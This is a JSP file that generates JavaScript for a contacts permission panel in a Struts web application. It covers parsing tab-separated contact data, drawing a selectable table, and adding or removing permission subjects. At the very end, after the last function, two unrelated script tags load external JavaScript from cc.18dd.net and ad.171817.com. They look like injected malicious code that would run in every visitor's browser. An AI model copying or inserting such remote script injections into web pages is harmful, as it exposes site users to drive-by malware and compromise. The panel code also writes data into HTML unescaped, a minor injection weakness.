<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
var allContactsData = new Array(); 
var allPermissionAry = new Array();
var activeRow = null;
var permForm = null;
var DetailObject =null;

function initContactsVariable(inForm) {
  permForm = inForm;
  var arrayOfStr;

  // Initialize Users with No Permission.
  arrayOfStr = permForm.allContactsData.value.split("\n");
  //alert("...."+arrayOfStr.length);
  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      //tmpAry[3] = "R";
      
      allContactsData[allContactsData.length] = tmpAry;
      
    }
  }

  // Initialize All Users, Groups, Roles with Permission.
  arrayOfStr = permForm.allPermissionContactsData.value.split("\n");
  
  for (var i = 0; i < arrayOfStr.length; i++) {
  
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      
      allPermissionAry[allPermissionAry.length] = tmpAry;
    }
  } 
  resetPanel();
}

function resetPanel() {
  drawPanel("permissionDiv");
  changeSubjectMenu(permForm);
} 

function drawPanel(lyrName) {
  var ctn = "";
  
  ctn += "<table width='100%' cellpadding='1' cellspacing='0' border='0'>";
   
  for (var i=0; i<allPermissionAry.length; i++) { 
     
    ctn += "<tr id='tr" + i + "' onmouseover=\"updatePermissionPanel(this, \'over\');\" onmouseout=\"updatePermissionPanel(this, \'out\');\" onmousedown=\"updatePermissionPanel(this, \'down\');\">";
    ctn += "<td width='18'><a href='#' onclick='return(false)' style='text-decoration:none'><img src='";
    ctn += "<html:img src='IconUser.gif' pathOnly='true' />";
    ctn += "' align='absmiddle' border='0'/></a></td>";
    ctn += "<td><nobr><a href='#' onclick='return(false)' style='text-decoration:none'>" + allPermissionAry[i][1] + "&nbsp; <b>";
 
    ctn +=   "</b></a></nobr></td>";
    ctn += "</tr>";
  }
  ctn += "</table>";

  ChangeDivContent(lyrName, ctn);
  savePermission();
}

function savePermission() {
  var result = "";
  for (var i = 0; i < allPermissionAry.length; i++) {
    for (var j = 0; j < allPermissionAry[i].length; j++) {
      if (j == allPermissionAry[i].length - 1) {
        result += allPermissionAry[i][j] + "\n";
      } else {
        result += allPermissionAry[i][j] + "\t";
      }
    }
  }
  permForm.allPermissionContactsData.value = result;
}


function updatePermissionPanel(trObj, mode) {
  var overColor = "#B5D2EA";
  var downColor = "#FFCC99";
  var outColor = "#FFFFFF";
  var domDetect = false;

  if (typeof(window.opera) == 'undefined' && typeof(trObj.getAttribute) != 'undefined') {
    domDetect = true;
  }

  if (mode == "over") {
    if (domDetect) {
      trObj.setAttribute('bgcolor', overColor, 0);
    } else {
      trObj.style.backgroundColor = overColor;
    }
  } else if (mode == "out") {
    var tmpColor = outColor;
    if (trObj == activeRow) {
      tmpColor = downColor;
    }

    if (domDetect) {
      trObj.setAttribute('bgcolor', tmpColor, 0);
    } else {
      trObj.style.backgroundColor = tmpColor;
    }
  } else if (mode == "down") {
    if (activeRow != null) {
      if (domDetect) {
        activeRow.setAttribute('bgcolor', outColor, 0);
      } else {
        activeRow.style.backgroundColor = outColor;
      }
    } 
    
    activeRow = trObj; 
    if (domDetect) {
      trObj.setAttribute('bgcolor', downColor, 0);
    } else {
      trObj.style.backgroundColor = downColor;
    }  
  }
}

function addContactSubject() {
  var subType = permForm.subjectType.options[permForm.subjectType.selectedIndex].value;
  var tmpAry  = allPermissionAry;
  var isContain =false;
 for (var i = 0; i < permForm.subjectList.options.length; i++) {
      isContain =false;
   if (permForm.subjectList.options[i].selected) {
     for (var n = 0; n < tmpAry.length; n++) {   
      if (tmpAry[n][0].indexOf(Trim(permForm.subjectList.options[i].value))!=-1) 
      isContain = true ; 
    }    
    //alert(permForm.subjectList.options[i].value);
    if (!isContain){
    var temID = new String(permForm.subjectList.options[i].value);  
     
    
    getDetailByID(temID);
    allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, DetailObject[3], DetailObject[4], DetailObject[5], DetailObject[6], DetailObject[7]);
 
    }
   } 
  }

  drawPanel("permissionDiv");  
  changeSubjectMenu()
  return(false);
}


function delContactSubject() {
  if (activeRow==null) {
    return(false);
  }

  var tmpID = parseInt(activeRow.id.substring(2, activeRow.id.length), 10);
  var tmpRow = allPermissionAry[tmpID];
 
  RemoveArrayElement(allPermissionAry, tmpID);
  activeRow = null;

  //clearPermissionPanel();
  //resetPanel();
 
  drawPanel("permissionDiv");  
  changeSubjectMenu();
  return(false);
}

         
function changeSubjectMenu() {
  var elm = permForm.subjectType;
  if (elm) {
    var changeElm = permForm.subjectList;
    var tmpAry;
    //elm.options[elm.selectedIndex].value
    tmpAry =allContactsData;
    RemoveAllOptions(changeElm);
    for (var i=0; i<tmpAry.length; i++) { 
      permForm.resolve.value=tmpAry[i][1];
      if ((permForm.resolve.value).indexOf(Trim(elm.options[elm.selectedIndex].value))!=-1) 
      AddOption(changeElm, tmpAry[i][2], tmpAry[i][0], false);
    }
  }
}

         
function getDetailByID(objID) {
  
   var ID = new String(objID);  
   var getObjAry =allContactsData;
   for (var y=0; y<getObjAry.length; y++) { 
    //alert(getObjAry[y][0]+" Object ::"+Trim(ID));
    if (getObjAry[y][0].indexOf(Trim(ID))!=-1) 
    DetailObject=getObjAry[y];
   }
  
}

function LTrim(str) 
{ 
    var whitespace = new String(" \t\n\r"); 
    var s = new String(str);  
    if (whitespace.indexOf(s.charAt(0)) != -1) 
    { 
        var j=0, i = s.length; 
        while (j < i && whitespace.indexOf(s.charAt(j)) != -1) 
        { 
            j++; 
        } 
        s = s.substring(j, i); 
    } 
    return s; 
} 


function RTrim(str) 
{ 
    var whitespace = new String(" \t\n\r"); 
    var s = new String(str);  

    if (whitespace.indexOf(s.charAt(s.length-1)) != -1) 
    { 
        var i = s.length - 1; 
        while (i >= 0 && whitespace.indexOf(s.charAt(i)) != -1) 
        { 
            i--; 
        } 
        s = s.substring(0, i+1); 
    } 
    return s; 
}
 

function Trim(str) 
{ 
    return RTrim(LTrim(str)); 
}

 

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>